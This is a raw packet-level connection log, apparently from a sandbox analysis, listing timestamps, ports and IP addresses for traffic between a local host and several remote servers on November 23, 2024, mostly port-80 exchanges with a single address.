Nov 23, 2024 05:02:48.489850044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.489901066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.490187883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.490493059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.490807056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.490858078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.490933895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.490978956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.491800070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.491836071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.492247105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.492285013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.492708921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.492778063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.492903948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.492958069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.493660927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.493746042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.493776083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.493855953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.494692087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.494961023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.495031118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.495224953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.495639086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.495827913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.495867968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.496563911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.496613979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.496840954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.496884108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.497494936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.497538090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.497771025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.498018026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.498435974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.498639107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.498682022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.499473095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.499666929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.499728918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.500437021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.500483990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.500511885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.500598907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.501298904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.501506090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.501547098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.502264977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.502302885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.502449036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.502501011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.503232956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.503328085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.503467083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.503504992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.504184008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.504262924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.504312038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.505109072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.505167961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.505430937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.505476952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.506058931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.506107092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.506191969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.506228924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.507216930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.507258892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.507519960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.507555962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.507975101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.508053064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.508224010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.508268118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.508960009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.509005070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.509066105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.509102106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.509870052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.509912014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.510051012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.510493040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.510823965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.510868073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.511204958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.511250019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.511814117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.511950970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.511997938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.512032986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.512761116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.512803078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.513036013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.513220072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.513686895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.513724089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.514192104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.514240026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.514662981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.514801979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.514807940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.515587091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.515630960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.516551018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.516561985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.516571999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.516591072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.516608000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.517505884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.517549038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.518203020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.518243074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.518469095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.518481016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.518619061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.519418001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.519529104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.519936085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.519998074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.520406008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.520416975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.520464897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.521297932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.522018909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.522277117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.522288084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.522298098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.522320032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.522349119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.523231030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.523273945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.523585081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.523948908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.524184942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.524255991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.524316072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.524353027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.525146008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.525156975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.525198936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.526102066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.526112080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.526146889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.537231922 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:48.537267923 CET	443	49874	23.57.90.144	192.168.2.6
Nov 23, 2024 05:02:48.537319899 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:48.537693977 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:48.537705898 CET	443	49874	23.57.90.144	192.168.2.6
Nov 23, 2024 05:02:48.539763927 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:48.539845943 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:48.539921045 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:48.540107965 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:48.540136099 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:48.560477972 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:48.560509920 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:48.560673952 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:48.560915947 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:48.560930967 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:48.607769966 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.607810974 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.607820034 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.607839108 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.607861042 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.607871056 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.607924938 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.607950926 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.607981920 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.608007908 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.640676022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.640791893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.640798092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.641036034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.641113997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.641160011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.641405106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.642096043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.642148018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.642712116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.643049955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.643060923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.643100023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.643116951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.644016027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.644059896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.644462109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.644520044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.644936085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.644984007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.645411015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.645975113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.646033049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.646195889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.646296024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.689153910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.689260006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.689310074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.689502954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.689551115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.689587116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.689723015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.690526009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.690583944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.690649033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.690690041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.691474915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.691524029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.692066908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.692205906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.692414045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.692434072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.692480087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.693416119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.693428040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.693588018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.694349051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.694394112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.695288897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.695310116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.695328951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.695348024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.695368052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.696485996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.696533918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.696615934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.696743011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.697226048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.697238922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.697273016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.697288990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.698199034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.698210955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.698256969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.699129105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.699187994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.699244022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.699384928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.700058937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.700130939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.700366974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.700495958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.701067924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.701112032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.701165915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.701216936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.701984882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.702029943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.702095032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.702145100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.702949047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.703010082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.703032970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.703130007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.703881025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.703932047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.704030991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.704070091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.704842091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.704889059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.705207109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.705383062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.705815077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.705869913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.705900908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.705944061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.706748009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.706800938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.707062006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.707108974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.707853079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.707906008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.708278894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.708334923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.708652973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.708805084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.708950996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.709039927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.709598064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.709641933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.710094929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.710151911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.710666895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.710776091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.711363077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.711405993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.711518049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.711538076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.711569071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.711594105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.712475061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.712610960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.712996006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.713038921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.713427067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.713844061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.713896990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.713984966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.714370012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.714442968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.714987040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.715034962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.715333939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.715378046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.715893030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.715934992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.716270924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.716332912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.716377974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.716411114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.717308998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.717422009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.717447042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.717674971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.718215942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.718281031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.718713999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.718760967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.719146967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.719192028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.719765902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.720032930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.720088005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.720172882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.720370054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.720412970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.721051931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.721098900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.721185923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.721221924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.722016096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.722070932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.722157955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.722213984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.722955942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.723012924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.723053932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.723129988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.723922014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.724067926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.724113941 CET	49819	80	192.168.2.6	185.215.113.206
